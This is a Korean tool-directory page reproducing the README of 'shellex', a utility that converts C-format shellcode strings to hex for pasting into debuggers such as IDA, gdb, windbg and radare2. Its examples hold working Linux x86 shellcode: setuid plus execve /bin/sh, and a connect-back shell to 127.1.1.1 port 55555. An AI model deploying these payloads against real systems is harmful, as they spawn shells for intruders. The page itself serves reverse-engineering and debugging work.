Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
shellex — C-셸코드를 16진수로 변환하는 변환기로, IDA PRO, gdb, windbg, radare2, ollydbg, x64dbg, immunity debugger 및 010 편집기에서 셸코드를 붙여넣고 실행하는 데 편리한 도구입니다. | Kitploit
도구/GitHubGitHub/therealdreg/shellex
ExploitationReverse EngineeringShellcodeDebuggersUtilities & FrameworksBinary AnalysisShellcode GenerationPayload Development
GitHubtherealdreg/shellex

shellex

C-셸코드를 16진수로 변환하는 변환기로, IDA PRO, gdb, windbg, radare2, ollydbg, x64dbg, immunity debugger 및 010 편집기에서 셸코드를 붙여넣고 실행하는 데 편리한 도구입니다.

저장소 보기
112233년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
웹사이트

shellex

경고: 세상에서 가장 지저분한 코드

C-셸코드를 16진수로 변환하는 도구입니다.

기부를 고려해 주세요: https://github.com/sponsors/therealdreg

IDA PRO, gdb, windbg, radare2, ollydbg, x64dbg, immunity debugger 및 010 편집기에서 셸코드를 붙여넣고 실행할 수 있는 편리한 도구입니다.

C-셸코드를 16진수(HEX)로 변환하는 데 문제가 있으신가요? (어쩌면 C-주석+ASCII가 섞여 있을 수도 있습니다?)

여기에 shellex가 있습니다. 셸코드가 C 컴파일러에서 컴파일될 수 있다면 shellex가 변환할 수 있습니다.

shellex를 실행하고, 셸코드 C-문자열을 붙여넣은 후 ENTER를 누르세요.

종료하려면 Control+Z(Windows)/Control+D(Linux)를 사용하세요.

혼합된 여러 줄의 16진수+ASCII C-셸코드 변환 (혼합 부분 \x68//sh\x68/bin\x89에 주목):

root@kitploit:~
"\x6a\x17\x58\x31\xdb\xcd\x80"
"\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"

shellex 출력:

root@kitploit:~
6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80

주석이 포함된 여러 줄의 C-셸코드 변환:

root@kitploit:~
"\x68"
"\x7f\x01\x01\x01"  // <- IP:  127.1.1.1
"\x5e\x66\x68"
"\xd9\x03"          // <- 포트: 55555
"\x5f\x6a\x66\x58\x99\x6a\x01\x5b\x52\x53\x6a\x02"
"\x89\xe1\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79"
"\xf9\xb0\x66\x56\x66\x57\x66\x6a\x02\x89\xe1\x6a"
"\x10\x51\x53\x89\xe1\xcd\x80\xb0\x0b\x52\x68\x2f"
"\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53"
"\xeb\xce"

shellex 출력:

root@kitploit:~
68 7F 01 01 01 5E 66 68 D9 03 5F 6A 66 58 99 6A 01 5B 52 53 6A 02 89 E1 CD 80 93 59 B0 3F CD 80 49 79 F9 B0 66 56 66 57 66 6A 02 89 E1 6A 10 51 53 89 E1 CD 80 B0 0B 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 EB CE

shellex 출력을 새로운 C-셸코드 문자열로 변환해야 하나요? -h 매개변수를 사용하세요. 예를 들어 shellex 출력을 변환:

root@kitploit:~
./shellex -h 6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80

\x6A\x17\x58\x31\xDB\xCD\x80\x6A\x0B\x58\x99\x52\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x52\x53\x89\xE1\xCD\x80

설치

root@kitploit:~
git clone https://github.com/therealdreg/shellex.git

Windows용:

바이너리:

root@kitploit:~
shellex\bins\shellex.exe

Linux용

의존성:

root@kitploit:~
sudo apt-get install tcc

바이너리:

root@kitploit:~
shellex/linuxbins/shellex

셸코드를 ollydbg, x64dbg, immunity debugger에 붙여넣고 실행하기

내 xshellex 플러그인 사용:

https://github.com/therealdreg/xshellex

셸코드를 IDAPYTHON으로 IDA PRO에 붙여넣고 실행하기

  • shellex 실행
  • 셸코드 입력:
root@kitploit:~
"\x6a\x17\x58\x31\xdb\xcd\x80"
"\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"
  • Enter 누름
  • Control+D 누름
  • shellex 출력을 shellex -h를 사용해 C-16진수 문자열로 변환:
root@kitploit:~
shellex -h 6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80
  • 직접 IDAPYTHON 스크립트 만들기:
root@kitploit:~
def writebytes(dest, str):
  for i, c in enumerate(str):
    idc.patch_byte(dest+i, ord(c));

address = idc.get_reg_value("eip")

shellcode = "\x6A\x17\x58\x31\xDB\xCD\x80\x6A\x0B\x58\x99\x52\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x52\x53\x89\xE1\xCD\x80"

writebytes(address, shellcode)

print("done!")
  • C-16진수 문자열을 shellcode 변수에 복사합니다.
  • 32비트: address = idc.get_reg_value("eip") 사용
  • 64비트: address = idc.get_reg_value("rip") 사용

IDA PRO에서 프로그램 디버깅:

  • File -> Script command... 로 이동
  • Script Language에서 Python 선택
  • IDAPYTHON 스크립트 붙여넣기
  • Run 클릭

이제 F7로 셸코드를 디버깅할 수 있습니다. 하지만 디스어셈블리 창에서 셸코드가 db로 표시될 수 있습니다.

해결 방법:

  • 디스어셈블리 창에서 셸코드 바이트 선택
  • 마우스 오른쪽 버튼 클릭 -> Undefine
  • 디스어셈블리 창에서 다시 셸코드 바이트 선택
  • 마우스 오른쪽 버튼 클릭 -> Code -> Force -> Yes

완료! 셸코드가 디스어셈블되어 F7로 디버깅할 수 있습니다.

셸코드를 gdb에 붙여넣고 실행하기

  • shellex 실행
  • 셸코드 입력:
root@kitploit:~
"\x6a\x17\x58\x31\xdb\xcd\x80"
"\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"
  • Enter 누름
  • Control+D 누름
  • shellex 출력을 shellex -h를 사용해 C-16진수 문자열로 변환:
root@kitploit:~
shellex -h 6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80
  • C-16진수 문자열을 "echo"를 사용해 원시 바이너리 데이터로 파일에 기록:
root@kitploit:~
echo -ne "\x6A\x17\x58\x31\xDB\xCD\x80\x6A\x0B\x58\x99\x52\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x52\x53\x89\xE1\xCD\x80" > /tmp/sc
  • gdb /bin/ls
  • starti

바이너리 파일을 현재 명령어 포인터에 기록:

32비트:

root@kitploit:~
restore /tmp/sc binary $eip
x/30b $eip
x/15i $eip

64비트:

root@kitploit:~
restore /tmp/sc binary $rip
x/30b $rip
x/15i $rip

x/30b는 셸코드의 바이트 크기입니다. 크기는 다음으로 얻을 수 있습니다:

root@kitploit:~
wc -c /tmp/sc

x/15i는 표시할 명령어 개수입니다. 정확한 개수는 ndisasm으로 얻을 수 있습니다:

root@kitploit:~
sudo apt-get install nasm

32비트:

root@kitploit:~
ndisasm -b32 /tmp/sc
ndisasm -b32 /tmp/sc | wc -l

64비트:

root@kitploit:~
ndisasm -b64 /tmp/sc
ndisasm -b64 /tmp/sc | wc -l

셸코드를 gdb-gef에 붙여넣고 실행하기

  • shellex 실행
  • 셸코드 입력:
root@kitploit:~
"\x6a\x17\x58\x31\xdb\xcd\x80"
"\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"
  • Enter 누름
  • Control+D 누름
  • 다음 명령으로 변환: echo "SPACE shellex_output" | sed "s/ / 0x/g"
root@kitploit:~
echo " 6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80" | sed "s/ / 0x/g"

patch byte 명령 사용:

32비트:

root@kitploit:~
patch byte $eip 0x6A 0x17 0x58 0x31 0xDB 0xCD 0x80 0x6A 0x0B 0x58 0x99 0x52 0x68 0x2F 0x2F 0x73 0x68 0x68 0x2F 0x62 0x69 0x6E 0x89 0xE3 0x52 0x53 0x89 0xE1 0xCD 0x80

64비트:

root@kitploit:~
patch byte $rip 0x6A 0x17 0x58 0x31 0xDB 0xCD 0x80 0x6A 0x0B 0x58 0x99 0x52 0x68 0x2F 0x2F 0x73 0x68 0x68 0x2F 0x62 0x69 0x6E 0x89 0xE3 0x52 0x53 0x89 0xE1 0xCD 0x80

context 명령을 실행하여 디스어셈블이 올바른지 확인

셸코드를 gdb-peda에 붙여넣고 실행하기

  • shellex 실행
  • 셸코드 입력:
root@kitploit:~
"\x6a\x17\x58\x31\xdb\xcd\x80"
"\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"
  • Enter 누름
  • Control+D 누름
  • shellex 출력을 shellex -h를 사용해 C-16진수 문자열로 변환:
root@kitploit:~
shellex -h 6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80

32비트:

root@kitploit:~
patch $eip "\x6A\x17\x58\x31\xDB\xCD\x80\x6A\x0B\x58\x99\x52\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x52\x53\x89\xE1\xCD\x80"

64비트:

root@kitploit:~
patch $rip "\x6A\x17\x58\x31\xDB\xCD\x80\x6A\x0B\x58\x99\x52\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x52\x53\x89\xE1\xCD\x80"

context 명령을 실행하여 디스어셈블이 올바른지 확인

셸코드를 windbg에 붙여넣고 실행하기

  • shellex 실행
  • 셸코드 입력:
root@kitploit:~
"\x6a\x17\x58\x31\xdb\xcd\x80"
"\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"
  • Enter 누름
  • Control+D 누름

eb 명령어 사용

작은 셸코드의 경우 eb 명령어가 좋을 수 있습니다. shellex 출력을 eb 명령어와 함께 사용하세요 (hint: Axel Souchet @0vercl0k 감사)

32비트:

root@kitploit:~
eb @eip 6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80

64비트:

root@kitploit:~
eb @rip 6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80

파일 사용

  • certutil을 사용하여 shellex 출력을 원시 바이너리 데이터로 변환:
root@kitploit:~
echo 6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80 > C:\Users\Dreg\sc.hex
certutil -f -decodeHex c:\Users\Dreg\sc.hex c:\Users\Dreg\sc
del C:\Users\Dreg\sc.hex

certutil 출력:

root@kitploit:~
Input Length = 92
Output Length = 30
CertUtil: -decodehex command completed successfully.

셸코드 길이는 30이므로 windbg에서 L0n30을 사용합니다.

바이너리 파일을 현재 명령어 포인터에 기록:

32비트:

root@kitploit:~
.readmem C:\Users\Dreg\sc @eip L0n30

64비트:

root@kitploit:~
.readmem C:\Users\Dreg\sc @rip L0n30

셸코드를 radare2에 붙여넣고 실행하기

  • shellex 실행
  • 셸코드 입력:
root@kitploit:~
"\x6a\x17\x58\x31\xdb\xcd\x80"
"\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"
  • Enter 누름
  • Control+D 누름
  • shellex 출력을 shellex -h를 사용해 C-16진수 문자열로 변환:
root@kitploit:~
shellex -h 6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80
  • radare2에서 "w" 명령으로 C-16진수 문자열 작성:

32비트:

root@kitploit:~
w \x6A\x17\x58\x31\xDB\xCD\x80\x6A\x0B\x58\x99\x52\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x52\x53\x89\xE1\xCD\x80 @eip

64비트:

root@kitploit:~
w \x6A\x17\x58\x31\xDB\xCD\x80\x6A\x0B\x58\x99\x52\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x52\x53\x89\xE1\xCD\x80 @rip

셸코드가 올바르게 붙여졌는지 확인:

터미널에서 셸코드 크기 확인:

root@kitploit:~
echo -ne "\x6A\x17\x58\x31\xDB\xCD\x80\x6A\x0B\x58\x99\x52\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x52\x53\x89\xE1\xCD\x80" | wc -c

마지막 명령의 출력은 30입니다. 이제 radare2에서 pD 명령 사용:

root@kitploit:~
pD 30

비대화형 모드

Linux에서 "\x6a\x17\x58\x31\xdb\xcd\x80" 변환:

root@kitploit:~
echo "\"\\x6a\\x17\\x58\\x31\\xdb\\xcd\\x80\"" | shellex

Windows에서 "\x6a\x17\x58\x31\xdb\xcd\x80" 변환:

root@kitploit:~
echo "\x6a\x17\x58\x31\xdb\xcd\x80" | shellex.exe

Windows에서 여러 줄 파일 사용:

root@kitploit:~
C:\Users\Dreg\Desktop\shellex\bins>type sc.txt
"\x6a\x17\x58\x31\xdb\xcd\x80"
"\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"
C:\Users\Dreg\Desktop\shellex\bins>type sc.txt | shellex.exe

Linux에서 여러 줄 파일 사용:

root@kitploit:~
dreg@fr33project# cat sc.txt
"\x6a\x17\x58\x31\xdb\xcd\x80"
"\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"
dreg@fr33project# cat sc.txt | shellex

컴파일

Windows에서는 Visual Studio 2013을 사용하세요.

  • https://my.visualstudio.com/Downloads?q=visual%20studio%202013&wt.mc_id=o~msft~vscom~older-downloads
  • https://go.microsoft.com/fwlink/?LinkId=532495&clcid=0x409

Linux에서는 다음을 실행:

root@kitploit:~
cd shellex/shellex
gcc -o shellex shellex.c
./shellex
도구 다운로드